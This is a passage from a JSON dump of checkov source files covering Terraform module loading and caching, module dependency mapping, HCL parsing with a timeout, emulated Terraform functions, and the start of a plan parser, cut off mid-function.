    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport hashlib\nfrom typing import Optional, List, TYPE_CHECKING, Set, Dict\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.module_params import ModuleParams\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.loader import ModuleLoader\n\n\nclass ModuleLoaderRegistry:\n    loaders: List[\"ModuleLoader\"] = []  # noqa: CCE003\n    module_content_cache: Dict[str, Optional[ModuleContent]] = {}  # noqa: CCE003\n    module_latest: Dict[str, str] = {}  # noqa: CCE003\n\n    def __init__(\n        self,\n        download_external_modules: Optional[bool] = False,\n        external_modules_folder_name: str = DEFAULT_EXTERNAL_MODULES_DIR\n    ) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        self.download_external_modules = download_external_modules\n        self.external_modules_folder_name = external_modules_folder_name\n        self.failed_urls_cache: Set[str] = set()\n        self.root_dir = \"\"  # root dir for storing external modules\n\n    def load(\n        self,\n        current_dir: str,\n        source: str | None,\n        source_version: str | None,\n        module_address: str | None = None,\n        tf_managed: bool = False,\n    ) -> ModuleContent | None:\n        \"\"\"\nSearch all registered loaders for the first one which is able to load the module source type. For more\ninformation, see `loader.ModuleLoader.load`.\n        \"\"\"\n        if source is None:\n            return None\n\n        if module_address is None:\n            module_address = f'{source}:{source_version}'\n        if module_address in self.module_content_cache:\n            logging.debug(f'Used the cache for module {module_address}')\n            return self.module_content_cache[module_address]\n\n        # If we have tf managed modules, we likely have whatever :latest is in the cache\n        if env_vars_config.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES:\n            if source_version == 'latest':\n                if source in self.module_latest:\n                    logging.debug(f'Used the cache for module {module_address}')\n                    return self.module_content_cache[f'{source}:{self.module_latest[source]}']\n\n                reg = f'registry.terraform.io/{source}'\n                if reg in self.module_latest:\n                    logging.debug(f'Used the cache for module (from tf registry) {module_address}')\n                    return self.module_content_cache[f'{reg}:{self.module_latest[reg]}']\n\n        logging.debug(f'Cache miss for {module_address}')\n        if os.name == 'nt':\n            # For windows, due to limitations in the allowed characters for path names, the hash of the source is used.\n            # https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions\n            source_hash = hashlib.md5(source.encode())  # nosec\n            local_dir = os.path.join(self.root_dir, self.external_modules_folder_name, source_hash.hexdigest())\n        else:\n            local_dir = os.path.join(self.root_dir, self.external_modules_folder_name, source)\n        inner_module = \"\"\n        next_url = source\n        last_exception = None\n        content = ModuleContent(None)\n        while next_url:\n            source = next_url\n            next_url = \"\"\n            if source in self.failed_urls_cache:\n                break\n            logging.info(f\"Iterating over {len(self.loaders)} loaders\")\n            for loader in self.loaders:\n                if not self.download_external_modules and loader.is_external:\n                    continue\n                try:\n                    module_params = ModuleParams(\n                        root_dir=self.root_dir,\n                        current_dir=current_dir,\n                        source=source,\n                        source_version=source_version,\n                        dest_dir=local_dir,\n                        external_modules_folder_name=self.external_modules_folder_name,\n                        inner_module=inner_module,\n                        tf_managed=tf_managed,\n                    )\n                    logging.info(f\"Attempting loading {source} via {loader.__class__} loader\")\n                    content = loader.load(module_params)\n                    logging.info(f\"Loading result of {module_address}={content.loaded()} via {loader.__class__} loader\")\n                except Exception as e:\n                    logging.warning(f'Module {module_address} failed to load via {loader.__class__} due to: {e}')\n                    last_exception = e\n                    continue\n                if content.next_url:\n                    next_url = content.next_url\n                    if module_params.inner_module:\n                        local_dir = module_params.dest_dir\n                        inner_module = module_params.inner_module\n                    break\n                if content is None:\n                    continue\n                elif not content.loaded():\n                    if content.failed_url:\n                        self.failed_urls_cache.add(content.failed_url)\n                    self.module_content_cache[module_address] = ModuleContent(None)\n                    continue\n                else:\n                    v = module_address.rsplit(':', 1)\n                    if v[0] not in self.module_latest or self.module_latest[v[0]] < v[1]:\n                        self.module_latest[v[0]] = v[1]\n                    self.module_content_cache[module_address] = content\n                    return content\n\n        if last_exception is not None:\n            raise last_exception\n\n        v = module_address.rsplit(':', 1)\n        if v[0] not in self.module_latest or self.module_latest[v[0]] < v[1]:\n            self.module_latest[v[0]] = v[1]\n        self.module_content_cache[module_address] = content\n        return content\n\n    def register(self, loader: \"ModuleLoader\") -> None:\n        if loader not in self.loaders:\n            self.loaders.append(loader)\n\n    def reset_module_content_cache(self) -> None:\n        self.module_content_cache = {}\n        self.module_latest = {}\n\n    def clear_all_loaders(self) -> None:\n        self.loaders.clear()\n\n\nmodule_loader_registry = ModuleLoaderRegistry()\n"
  },
  {
    "path": "checkov/terraform/modules/__init__.py",
    "content": "from checkov.terraform.modules.module_utils import *  # noqa\nfrom checkov.terraform.modules.module_objects import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/modules/module_objects.py",
    "content": "from __future__ import annotations\nimport json\nfrom collections.abc import Iterator\nfrom dataclasses import dataclass\nfrom typing import Any\n\n\n@dataclass(frozen=True)\nclass TFModule:\n    path: str\n    name: str | None\n    nested_tf_module: TFModule | None = None\n    foreach_idx: int | str | None = None\n\n    def __lt__(self, other: Any) -> bool:\n        if not isinstance(other, TFModule):\n            return False\n        return (self.path, self.name, self.nested_tf_module, self.foreach_idx) < (\n            other.path, other.name, other.nested_tf_module, other.foreach_idx)\n\n    def __repr__(self) -> str:\n        return f'path:{self.path}, name:{self.name}, nested_tf_module:{self.nested_tf_module}, foreach_idx:{self.foreach_idx}'\n\n    def __iter__(self) -> Iterator[tuple[str, Any]]:\n        yield from {\n            \"path\": self.path,\n            \"name\": self.name,\n            \"foreach_idx\": self.foreach_idx,\n            \"nested_tf_module\": dict(self.nested_tf_module) if self.nested_tf_module else None\n        }.items()\n\n    def __str__(self) -> str:\n        from checkov.common.util.json_utils import CustomJSONEncoder\n        return json.dumps(dict(self), cls=CustomJSONEncoder)\n\n    @staticmethod\n    def from_json(json_dct: dict[str, Any] | None) -> TFModule | None:\n        if not json_dct:\n            return None\n        foreach_idx = json_dct['foreach_idx']\n        if isinstance(foreach_idx, str) and foreach_idx.isnumeric():\n            foreach_idx = int(foreach_idx)\n        return TFModule(path=json_dct['path'], name=json_dct['name'], foreach_idx=foreach_idx,\n                        nested_tf_module=TFModule.from_json(json_dct.get('nested_tf_module')) if json_dct.get(\n                            'nested_tf_module') else None)\n\n\n@dataclass(frozen=True)\nclass TFDefinitionKey:\n    file_path: str\n    tf_source_modules: TFModule | None = None\n\n    def __lt__(self, other: Any) -> bool:\n        if not isinstance(other, TFDefinitionKey):\n            return False\n        return (self.file_path, self.tf_source_modules) < (other.file_path, other.tf_source_modules)\n\n    def __repr__(self) -> str:\n        return f'tf_source_modules:{self.tf_source_modules}, file_path:{self.file_path}'\n\n    def __iter__(self) -> Iterator[tuple[str, Any]]:\n        yield from {\n            \"file_path\": self.file_path,\n            \"tf_source_modules\": dict(self.tf_source_modules) if self.tf_source_modules else None\n        }.items()\n\n    def __str__(self) -> str:\n        from checkov.common.util.json_utils import CustomJSONEncoder\n        return json.dumps(self.to_json(), cls=CustomJSONEncoder)\n\n    def to_json(self) -> dict[str, Any]:\n        to_return: dict[str, Any] = {\"file_path\": self.file_path, \"tf_source_modules\": None}\n        if self.tf_source_modules:\n            to_return[\"tf_source_modules\"] = dict(self.tf_source_modules)\n        return to_return\n\n    @staticmethod\n    def from_json(json_dct: dict[str, Any]) -> TFDefinitionKey:\n        return TFDefinitionKey(file_path=json_dct['file_path'],\n                               tf_source_modules=TFModule.from_json(json_dct['tf_source_modules']))\n"
  },
  {
    "path": "checkov/terraform/modules/module_utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nfrom collections.abc import Sequence\nfrom typing import Any, TYPE_CHECKING, TypeVar, cast, Tuple\n\nfrom lark import Tree\nimport re\n\nfrom checkov.common.typing import TFDefinitionKeyType\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.json_utils import CustomJSONEncoder, object_hook\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\nfrom checkov.terraform.checks.utils.dependency_path_handler import unify_dependency_path\nfrom checkov.terraform.graph_builder.utils import remove_module_dependency_in_path\nfrom checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeAlias\n\n_Conf = TypeVar(\"_Conf\", bound=\"dict[Any, Any]\")\n\nENTITY_NAME_PATTERN = re.compile(r\"[^\\W0-9][\\w-]*\")\nRESOLVED_MODULE_PATTERN = re.compile(r\"\\[.+\\#.+\\]\")\n_Hcl2Payload: TypeAlias = \"dict[str, list[dict[str, Any]]]\"\nexternal_modules_download_path = os.environ.get('EXTERNAL_MODULES_DIR', DEFAULT_EXTERNAL_MODULES_DIR)\n\n\ndef is_valid_block(block: Any) -> bool:\n    if not isinstance(block, dict):\n        return True\n\n    # if the block is empty, there's no need to process it further\n    if not block:\n        return False\n\n    entity_name = next(iter(block.keys()))\n    if re.fullmatch(ENTITY_NAME_PATTERN, entity_name):\n        return True\n    return False\n\n\ndef validate_malformed_definitions(raw_data: _Hcl2Payload) -> _Hcl2Payload:\n    return {\n        block_type: [block for block in blocks if is_valid_block(block)]\n        for block_type, blocks in raw_data.items()\n    }\n\n\ndef clean_bad_definitions(tf_definition_list: _Hcl2Payload) -> _Hcl2Payload:\n    return {\n        block_type: [\n            definition\n            for definition in definition_list\n            if block_type in {\"locals\", \"terraform\"} or not isinstance(definition, dict) or len(definition) == 1\n        ]\n        for block_type, definition_list in tf_definition_list.items()\n    }\n\n\ndef safe_index(sequence_hopefully: Sequence[Any], index: int) -> Any:\n    try:\n        return sequence_hopefully[index]\n    except IndexError:\n        logging.debug(f'Failed to parse index int ({index}) out of {sequence_hopefully}', exc_info=True)\n        return None\n\n\ndef remove_module_dependency_from_path(path: str) -> str:\n    \"\"\"\n    :param path: path that looks like \"dir/main.tf[other_dir/x.tf#0]\n    :return: only the outer path: dir/main.tf\n    \"\"\"\n    if \"#\" in path:\n        path = re.sub(RESOLVED_MODULE_PATTERN, '', path)\n    return path\n\n\ndef get_module_dependency_map(\n    tf_definitions: dict[str, Any]\n) -> tuple[dict[str, list[list[str]]], dict[str, Any], dict[tuple[str, str], list[str]]]:\n    \"\"\"\n    :param tf_definitions, with paths in format 'dir/main.tf[module_dir/main.tf#0]'\n    :return module_dependency_map: mapping between directories and the location of its module definition:\n            {'dir': 'module_dir/main.tf'}\n    :return tf_definitions: with paths in format 'dir/main.tf'\n    \"\"\"\n    module_dependency_map: dict[str, list[list[str]]] = {}\n    copy_of_tf_definitions = {}\n    dep_index_mapping: dict[tuple[str, str], list[str]] = {}\n    origin_keys = list(filter(lambda k: not k.endswith(TERRAFORM_NESTED_MODULE_PATH_ENDING), tf_definitions.keys()))\n    unevaluated_keys = list(filter(lambda k: k.endswith(TERRAFORM_NESTED_MODULE_PATH_ENDING), tf_definitions.keys()))\n    for file_path in origin_keys:\n        dir_name = os.path.dirname(file_path)\n        module_dependency_map[dir_name] = [[]]\n        copy_of_tf_definitions[file_path] = pickle_deepcopy(tf_definitions[file_path])\n\n    next_level, unevaluated_keys = get_next_vertices(origin_keys, unevaluated_keys)\n    while next_level:\n        for file_path in next_level:\n            path, module_dependency, module_dependency_num = remove_module_dependency_in_path(file_path)\n            dir_name = os.path.dirname(path)\n            current_deps = pickle_deepcopy(module_dependency_map[os.path.dirname(module_dependency)])\n            for dep in current_deps:\n                dep.append(module_dependency)\n            if dir_name not in module_dependency_map:\n                module_dependency_map[dir_name] = current_deps\n            else:\n                for dep in current_deps:\n                    if dep not in module_dependency_map[dir_name]:\n                        module_dependency_map[dir_name].append(dep)\n            copy_of_tf_definitions[path] = pickle_deepcopy(tf_definitions[file_path])\n            origin_keys.append(path)\n            dep_index_mapping.setdefault((path, module_dependency), []).append(module_dependency_num)\n        next_level, unevaluated_keys = get_next_vertices(origin_keys, unevaluated_keys)\n    for key, dep_trails in module_dependency_map.items():\n        hashes = set()\n        deduped = []\n        for trail in dep_trails:\n            trail_hash = unify_dependency_path(trail)\n            if trail_hash in hashes:\n                continue\n            hashes.add(trail_hash)\n            deduped.append(trail)\n        module_dependency_map[key] = deduped\n    return module_dependency_map, copy_of_tf_definitions, dep_index_mapping\n\n\ndef get_next_vertices(evaluated_files: list[str], unevaluated_files: list[str]) -> tuple[list[str], list[str]]:\n    \"\"\"\n    This function implements a lazy separation of levels for the evaluated files. It receives the evaluated\n    files, and returns 2 lists:\n    1. The next level of files - files from the unevaluated_files which have no unresolved dependency (either\n        no dependency or all dependencies were evaluated).\n    2. unevaluated - files which have yet to be evaluated, and still have pending dependencies\n\n    Let's say we have this dependency tree:\n    a -> b\n    x -> b\n    y -> c\n    z -> b\n    b -> c\n    c -> d\n\n    The first run will return [a, y, x, z] as the next level since all of them have no dependencies\n    The second run with the evaluated being [a, y, x, z] will return [b] as the next level.\n    Please mind that [c] has some resolved dependencies (from y), but has unresolved dependencies from [b].\n    The third run will return [c], and the fourth will return [d].\n    \"\"\"\n\n    next_level, unevaluated, do_not_eval_yet = [], [], []\n    for key in unevaluated_files:\n        found = False\n        for eval_key in evaluated_files:\n            if eval_key in key:\n                found = True\n                break\n        if not found:\n            do_not_eval_yet.append(key.split(TERRAFORM_NESTED_MODULE_PATH_PREFIX)[0])\n            unevaluated.append(key)\n        else:\n            next_level.append(key)\n\n    move_to_uneval = list(filter(lambda k: k.split(TERRAFORM_NESTED_MODULE_PATH_PREFIX)[0] in do_not_eval_yet, next_level))\n    for k in move_to_uneval:\n        next_level.remove(k)\n        unevaluated.append(k)\n    return next_level, unevaluated\n\n\ndef clean_parser_types(conf: _Conf) -> _Conf:\n    if not conf:\n        return conf\n\n    sorted_keys = list(conf.keys())\n    first_key_type = type(sorted_keys[0])\n    if first_key_type is None:\n        return {}\n\n    if all(isinstance(x, first_key_type) for x in sorted_keys):\n        sorted_keys.sort()\n\n    # Create a new dict where the keys are sorted alphabetically\n    sorted_conf = {key: conf[key] for key in sorted_keys}\n    for attribute, values in sorted_conf.items():\n        if attribute == 'alias':\n            continue\n        if isinstance(values, list):\n            sorted_conf[attribute] = clean_parser_types_lst(values)\n        elif isinstance(values, dict):\n            sorted_conf[attribute] = clean_parser_types(values)\n        elif isinstance(values, str) and values in ('true', 'false'):\n            sorted_conf[attribute] = True if values == 'true' else False\n        elif isinstance(values, set):\n            sorted_conf[attribute] = clean_parser_types_lst(list(values))\n        elif isinstance(values, Tree):\n            sorted_conf[attribute] = str(values)\n    return sorted_conf  # type:ignore[return-value]  # still the same type as before\n\n\ndef clean_parser_types_lst(values: list[Any]) -> list[Any]:\n    for idx, val in enumerate(values):\n        if isinstance(val, dict):\n            values[idx] = clean_parser_types(val)\n        elif isinstance(val, list):\n            values[idx] = clean_parser_types_lst(val)\n        elif isinstance(val, str):\n            if val == 'true':\n                values[idx] = True\n            elif val == 'false':\n                values[idx] = False\n        elif isinstance(val, set):\n            values[idx] = clean_parser_types_lst(list(val))\n    str_values_in_lst = []\n    result_values = []\n    for val in values:\n        if isinstance(val, str):\n            str_values_in_lst.append(val)\n        else:\n            result_values.append(val)\n    str_values_in_lst.sort()\n    result_values.extend(str_values_in_lst)\n    return result_values\n\n\ndef serialize_definitions(tf_definitions: _Conf) -> _Conf:\n    return cast(\"_Conf\", json.loads(json.dumps(tf_definitions, cls=CustomJSONEncoder), object_hook=object_hook))\n\n\ndef get_module_from_full_path(file_path: TFDefinitionKey | None) -> Tuple[TFDefinitionKey | None, None]:\n    if not file_path or not is_nested(file_path):\n        return None, None\n    if file_path.tf_source_modules is None:\n        return None, None\n    return TFDefinitionKey(file_path=file_path.tf_source_modules.path, tf_source_modules=file_path.tf_source_modules.nested_tf_module), None\n\n\ndef get_module_name(file_path: TFDefinitionKey) -> str | None:\n    if not file_path.tf_source_modules:\n        return None\n    module_name = file_path.tf_source_modules.name\n    if isinstance(file_path.tf_source_modules.foreach_idx, int) or file_path.tf_source_modules.foreach_idx:\n        foreach_or_count = '\"' if isinstance(file_path.tf_source_modules.foreach_idx, str) else ''\n        module_name = f'{module_name}[{foreach_or_count}{file_path.tf_source_modules.foreach_idx}{foreach_or_count}]'\n    return module_name\n\n\ndef is_nested(full_path: TFDefinitionKey | None) -> bool:\n    return full_path.tf_source_modules is not None if full_path is not None else False\n\n\ndef get_abs_path(file_path: TFDefinitionKeyType) -> str:\n    # file_path might be str for terraform-plan\n    return file_path if isinstance(file_path, str) else str(file_path.file_path)\n"
  },
  {
    "path": "checkov/terraform/parser_functions.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom collections.abc import Hashable\nfrom typing import Dict, List, Union, Any, Callable\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.type_forcers import convert_str_to_bool\nfrom checkov.common.util.parser_utils import (\n    eval_string,\n    split_merge_args,\n    string_to_native,\n    to_string,\n)\n\n#\n# Functions defined in this file implement terraform functions.\n#\n# Inputs:\n#   - First arg (unnamed) - the value string provided to the function\n#   - \"var_resolver\" - function pointer to resolve variable/local references and such\n#   - \"function_name\" - name of the function being called (mainly useful for error reporting when a\n#                       function isn't defined)\n# These may be expanded over time, so accepting kwargs (via `**`) is recommended.\n#\n# If the value cannot be processed, `FUNCTION_FAILED` should be returned.\n#\n\nFUNCTION_FAILED = \"____FUNCTION_FAILED____\"\n\n\ndef merge(original: str, var_resolver: Callable[[Any], Any], **_: Any) -> dict[Hashable, Any] | str:\n    # https://www.terraform.io/docs/language/functions/merge.html\n    args = split_merge_args(original)\n    if args is None:\n        return FUNCTION_FAILED\n    merged_map = {}\n    for arg in args:\n        if arg.startswith(\"{\"):\n            arg_value = string_to_native(arg)\n            if arg_value is None:\n                return FUNCTION_FAILED\n        else:\n            arg_value = var_resolver(arg)\n        if isinstance(arg_value, dict):\n            merged_map.update(arg_value)\n        else:\n            return FUNCTION_FAILED  # don't know what this is, blow out\n    return merged_map\n\n\ndef concat(original: str, var_resolver: Callable[[Any], Any], **_: Any) -> list[Any] | str:\n    # https://www.terraform.io/docs/language/functions/concat.html\n    args = split_merge_args(original)\n    if args is None:\n        return FUNCTION_FAILED\n    merged_list = []\n    for arg in args:\n        if arg.startswith(\"[\"):\n            value = eval_string(arg)\n            if value is None:\n                logging.debug(\"Unable to convert to list: %s\", arg)\n                return FUNCTION_FAILED\n        else:\n            value = var_resolver(arg)\n        if isinstance(value, list):\n            merged_list.extend(value)\n        else:\n            return FUNCTION_FAILED  # don't know what this is, blow out\n    return merged_list\n\n\ndef tobool(original: Union[bool, str], **_: Any) -> Union[bool, str]:\n    # https://www.terraform.io/docs/configuration/functions/tobool.html\n    bool_value = convert_str_to_bool(original)\n    return bool_value if isinstance(bool_value, bool) else FUNCTION_FAILED\n\n\ndef tonumber(original: str, **_: Any) -> float | str:\n    # https://www.terraform.io/docs/configuration/functions/tonumber.html\n    if original.startswith('\"') and original.endswith('\"'):\n        original = original[1:-1]\n    try:\n        if \".\" in original:\n            return float(original)\n        else:\n            return int(original)\n    except ValueError:\n        return FUNCTION_FAILED\n\n\ndef tostring(original: str, **_: Any) -> bool | str:\n    # Indicates a safe string, all good\n    if original.startswith('\"') and original.endswith('\"'):\n        return original[1:-1]\n    # Otherwise, need to check for valid types (number or bool)\n    bool_value = convert_str_to_bool(original)\n    if isinstance(bool_value, bool):\n        return bool_value\n    else:\n        try:\n            if \".\" in original:\n                return str(float(original))\n            else:\n                return str(int(original))\n        except ValueError:\n            return FUNCTION_FAILED  # no change\n\n\ndef tolist(original: str, **_: Any) -> list[Any] | str:\n    # https://www.terraform.io/docs/configuration/functions/tolist.html\n    altered_value = eval_string(original)\n    if altered_value is None:\n        return FUNCTION_FAILED\n    return altered_value if isinstance(altered_value, list) else list(altered_value)\n\n\ndef toset(original: str, **_: Any) -> set[Any] | str:\n    # https://www.terraform.io/docs/configuration/functions/toset.html\n    altered_value = eval_string(original)\n    if altered_value is None:\n        return FUNCTION_FAILED\n    return altered_value if isinstance(altered_value, set) else set(altered_value)\n\n\ndef tomap(original: str, **_: Any) -> dict[Hashable, Any] | str:\n    # https://www.terraform.io/docs/language/functions/tomap.html\n    original = original.replace(\":\", \"=\")  # converted to colons by parser #shrug\n\n    altered_value = eval_string(original)\n    if altered_value is None or not isinstance(altered_value, dict):\n        return FUNCTION_FAILED\n    return _check_map_type_consistency(altered_value)\n\n\ndef map(original: str, **_: Any) -> dict[Hashable, Any] | str:\n    # https://www.terraform.io/docs/language/functions/map.html\n\n    # NOTE: Splitting by commas is annoying due to possible commas in strings. To avoid\n    #       the issue, act like it's a list (to allow comma separation) and let the HCL\n    #       parser deal with it. Then iterating the list is easy.\n    converted_to_list = eval_string(f\"[{original}]\")\n    if converted_to_list is None or len(converted_to_list) & 1:  # none or odd number of args\n        return FUNCTION_FAILED\n\n    return create_map(converted_to_list)\n\n\ndef create_map(lst: list[Any]) -> dict[Hashable, Any]:\n    new_map = {}\n    for i in range(0, len(lst), 2):\n        new_map[lst[i]] = lst[i + 1]\n    return _check_map_type_consistency(new_map)\n\n\ndef _check_map_type_consistency(value: dict[Hashable, Any]) -> dict[Hashable, Any]:\n    # If there is a string and anything else, convert to string\n    had_string = False\n    had_something_else = False\n    for k, v in value.items():\n        if v == \"${True}\":\n            value[k] = True\n            v = True\n        elif v == \"${False}\":\n            value[k] = False\n            v = False\n\n        if isinstance(v, str):\n            had_string = True\n            if had_something_else:\n                break\n        else:\n            had_something_else = True\n            if had_string:\n                break\n    if had_string and had_something_else:\n        value = {k: to_string(v) for k, v in value.items()}\n    return value\n\n\ndef handle_dynamic_values(conf: Dict[str, List[Any]], has_dynamic_block: bool = False) -> bool:\n    # recursively search for blocks that are dynamic\n    for block_name in conf.keys():\n        conf_block = conf[block_name]\n        if isinstance(conf_block, dict):\n            has_dynamic_block = handle_dynamic_values(conf_block, has_dynamic_block)\n\n        # if the configuration is a block element, search down again.\n        if conf_block and isinstance(conf_block, list) and isinstance(conf_block[0], dict):\n            has_dynamic_block = handle_dynamic_values(conf_block[0], has_dynamic_block)\n\n    # if a dynamic block exists somewhere in the resource it will return True\n    return process_dynamic_values(conf) or has_dynamic_block\n\n\ndef process_dynamic_values(conf: Dict[str, List[Any]]) -> bool:\n    dynamic_conf: Union[List[Any], Dict[str, List[Any]]] = conf.get(\"dynamic\", {})\n\n    if not isinstance(dynamic_conf, list):\n        return False\n\n    has_dynamic_block = False\n    for dynamic_element in dynamic_conf:\n        if isinstance(dynamic_element, str):\n            try:\n                dynamic_element = json.loads(dynamic_element)\n            except Exception:\n                dynamic_element = {}\n\n        for element_name, element_value in dynamic_element.items():\n            if \"content\" in element_value:\n                if element_name in conf:\n                    if not isinstance(conf[element_name], list):\n                        conf[element_name] = [conf[element_name]]\n                    if isinstance(element_value[\"content\"], list):\n                        conf[element_name].extend(element_value[\"content\"])\n                    else:\n                        conf[element_name].append(element_value[\"content\"])\n\n                else:\n                    conf[element_name] = pickle_deepcopy(element_value[\"content\"])\n            else:\n                # this should be the result of a successful dynamic block rendering\n                # in some cases a whole dict is added, which doesn't have a list around it\n                conf[element_name] = element_value if isinstance(element_value, list) else [element_value]\n\n        has_dynamic_block = True\n\n    return has_dynamic_block\n"
  },
  {
    "path": "checkov/terraform/parser_utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nimport platform\nimport threading\nfrom pathlib import Path\nfrom typing import Any, cast, Optional, TextIO, Type\n\nimport hcl2\n\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.util.stopit import ThreadingTimeout, SignalTimeout\nfrom checkov.common.util.stopit.utils import BaseTimeout\nfrom checkov.terraform import validate_malformed_definitions, clean_bad_definitions\nfrom checkov.terraform.modules.module_utils import _Hcl2Payload\n\n\ndef load_or_die_quietly(\n    file: str | Path | os.DirEntry[str], parsing_errors: dict[str, Exception], clean_definitions: bool = True\n) -> Optional[_Hcl2Payload]:\n    \"\"\"\n    Load JSON or HCL, depending on filename.\n    :return: None if the file can't be loaded\n    \"\"\"\n    file_path = os.fspath(file)\n    file_name = os.path.basename(file_path)\n\n    if file_name.endswith(\".tfvars\"):\n        clean_definitions = False\n\n    try:\n        logging.debug(f\"Parsing {file_path}\")\n\n        with open(file_path, \"r\", encoding=\"utf-8-sig\") as f:\n            if file_name.endswith(\".json\"):\n                return cast(\"_Hcl2Payload\", json.load(f))\n            else:\n                raw_data = __parse_with_timeout(f)\n                non_malformed_definitions = validate_malformed_definitions(raw_data)\n                if clean_definitions:\n                    return clean_bad_definitions(non_malformed_definitions)\n                else:\n                    return non_malformed_definitions\n    except Exception as e:\n        logging.debug(f\"failed while parsing file {file_path}\", exc_info=True)\n        parsing_errors[file_path] = e\n        return None\n\n\n# if we are not running in a thread, run the hcl2.load function with a timeout, to prevent from getting stuck in parsing.\ndef __parse_with_timeout(f: TextIO) -> dict[str, list[dict[str, Any]]]:\n    # setting up timeout class\n    timeout_class: Optional[Type[BaseTimeout]] = None\n    if platform.system() == \"Windows\":\n        timeout_class = ThreadingTimeout\n    elif threading.current_thread() is threading.main_thread():\n        timeout_class = SignalTimeout\n\n    # if we're not running on the main thread, don't use timeout\n    parsing_timeout = env_vars_config.HCL_PARSE_TIMEOUT_SEC or 0\n    if not timeout_class or not parsing_timeout:\n        return hcl2.load(f)\n\n    with timeout_class(parsing_timeout) as to_ctx_mgr:\n        raw_data = hcl2.load(f)\n    if to_ctx_mgr.state == to_ctx_mgr.TIMED_OUT:\n        logging.debug(f\"reached timeout when parsing file {f} using hcl2\")\n        raise Exception(f\"file took more than {parsing_timeout} seconds to parse\")\n    return raw_data\n"
  },
  {
    "path": "checkov/terraform/plan_parser.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport json\nimport logging\nimport os\nimport re\nfrom typing import Any, Dict, List, Optional, Tuple, cast\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.parsers.node import ListNode\nfrom checkov.common.util.consts import LINE_FIELD_NAMES, TRUE_AFTER_UNKNOWN, START_LINE, END_LINE\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.context_parsers.tf_plan import parse\n\nfrom hcl2 import START_LINE as start_line, END_LINE as end_line\n\nSIMPLE_TYPES = (str, int, float, bool)\nTF_PLAN_RESOURCE_ADDRESS = CustomAttributes.TF_RESOURCE_ADDRESS\nTF_PLAN_RESOURCE_CHANGE_ACTIONS = \"__change_actions__\"\nTF_PLAN_RESOURCE_CHANGE_KEYS = \"__change_keys__\"\nTF_PLAN_RESOURCE_PROVISIONERS = \"provisioners\"\nTF_PLAN_RESOURCE_AFTER_UNKNOWN = 'after_unknown'\n\nCOUNT_PATTERN = re.compile(r\"\\[?\\d+\\]?$\")\n\nRESOURCE_TYPES_JSONIFY = {\n    \"aws_batch_job_definition\": \"container_properties\",\n    \"aws_ecs_task_definition\": \"container_definitions\",\n    \"aws_iam_policy\": \"policy\",\n    \"aws_iam_role\": \"assume_role_policy\",\n    \"aws_iam_role_policy\": \"policy\",\n    \"aws_iam_group_policy\": \"policy\",\n    \"aws_iam_user_policy\": \"policy\",\n    \"aws_ssoadmin_permission_set_inline_policy\": \"inline_policy\",\n    \"azurerm_portal_dashboard\": \"dashboard_properties\",\n    \"aws_vpc_endpoint\": \"policy\",\n    \"aws_vpc_endpoint_policy\": \"policy\",\n    \"aws_ecr_registry_policy\": \"policy\",\n    \"aws_acmpca_policy\": \"policy\",\n    \"aws_api_gateway_rest_api_policy\": \"policy\",\n    \"aws_backup_vault_policy\": \"policy\",\n    \"aws_cloudwatch_log_destination_policy\": \"access_policy\",\n    \"aws_cloudwatch_log_resource_policy\": \"policy_document\",\n    \"aws_oam_sink_policy\": \"policy\",\n    \"aws_codebuild_resource_policy\": \"policy\",\n    \"aws_dynamodb_resource_policy\": \"policy\",\n    \"aws_ecr_repository_policy\": \"policy\",\n    \"aws_ecrpublic_repository_policy\": \"policy\",\n    \"aws_efs_file_system_policy\": \"policy\",\n    \"aws_elasticsearch_domain_policy\": \"access_policies\",\n    \"aws_media_store_container_policy\": \"policy\",\n    \"aws_cloudwatch_event_bus_policy\": \"policy\",\n    \"aws_schemas_registry_policy\": \"policy\",\n    \"aws_glue_resource_policy\": \"policy\",\n    \"aws_iot_policy\": \"policy\",\n    \"aws_kms_key\": \"policy\",\n    \"aws_kinesis_resource_policy\": \"policy\",\n    \"aws_msk_cluster_policy\": \"policy\",\n    \"aws_networkfirewall_resource_policy\": \"policy\",\n    \"aws_opensearch_domain_policy\": \"access_policies\",\n    \"aws_opensearchserverless_access_policy\": \"policy\",\n    \"aws_redshift_resource_policy\": \"policy\",\n    \"aws_redshiftserverless_resource_policy\": \"policy\",\n    \"aws_s3_bucket_policy\": \"policy\",\n    \"aws_s3control_access_point_policy\": \"policy\",\n    \"aws_s3control_bucket_policy\": \"policy\",\n    \"aws_ses_identity_policy\": \"policy\",\n    \"aws_sesv2_email_identity_policy\": \"policy\",\n    \"aws_sns_topic_data_protection_policy\": \"policy\",\n    \"aws_sns_topic_policy\": \"policy\",\n    \"aws_sqs_queue_policy\": \"policy\",\n    \"aws_secretsmanager_secret_policy\": \"policy\",\n    \"aws_vpclattice_auth_policy\": \"policy\",\n    \"aws_vpclattice_resource_policy\": \"policy\",\n    \"google_project_iam_policy\": \"policy_data\"\n}\n\n\ndef _is_simple_type(obj: Any) -> bool:\n    if obj is None:\n        return True\n    if isinstance(obj, SIMPLE_TYPES):\n        return True\n    